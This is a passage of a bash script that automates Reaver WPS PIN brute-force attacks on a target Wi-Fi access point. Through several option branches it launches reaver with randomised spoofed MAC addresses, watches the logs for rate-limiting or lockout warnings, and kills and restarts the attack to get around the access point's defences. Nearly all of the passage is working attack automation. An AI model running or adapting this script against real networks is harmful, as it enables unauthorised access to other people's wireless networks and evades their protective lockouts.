	echo " "
	echo -e "$info  1. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R27 == y || $USE_R27 == Y ]] && [[ $USE_LONG27 == n || $USE_LONG27 == N ]] && [[ $USE_PIN27 == n || $USE_PIN27 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME27"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL27"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP27"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX27" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY27"
echo -e "$info Reaver live time                   = $yel$LIVE27 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME27-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL27 -b $TARGETAP27 -vv -x 60 -r $RX27:$RY27 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME27-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE27-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R27 == n || $USE_R27 == N ]] && [[ $USE_LONG27 == y || $USE_LONG27 == Y ]] && [[ $USE_PIN27 == n || $USE_PIN27 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME27"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL27"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP27"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE27 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME27-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL27 -b $TARGETAP27 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME27-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE27-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R27 == y || $USE_R27 == Y ]] && [[ $USE_LONG27 == y || $USE_LONG27 == Y ]] && [[ $USE_PIN27 == n || $USE_PIN27 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME27"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL27"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP27"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX27" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY27"
echo -e "$info Reaver live time                   = $yel$LIVE27 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME27-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL27 -b $TARGETAP27 -r $RX27:$RY27 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME27-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE27-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R27 == n || $USE_R27 == N ]] && [[ $USE_LONG27 == n || $USE_LONG27 == N ]] && [[ $USE_PIN27 == y || $USE_PIN27 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME27"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL27"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP27"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE27 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME27-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL27 -b $TARGETAP27 -vv -x 60  --pin=$WPS_PIN27 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME27-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE27-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP27 (ESSID: $NMEWARN27)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME27-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME27-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME27-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME27-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

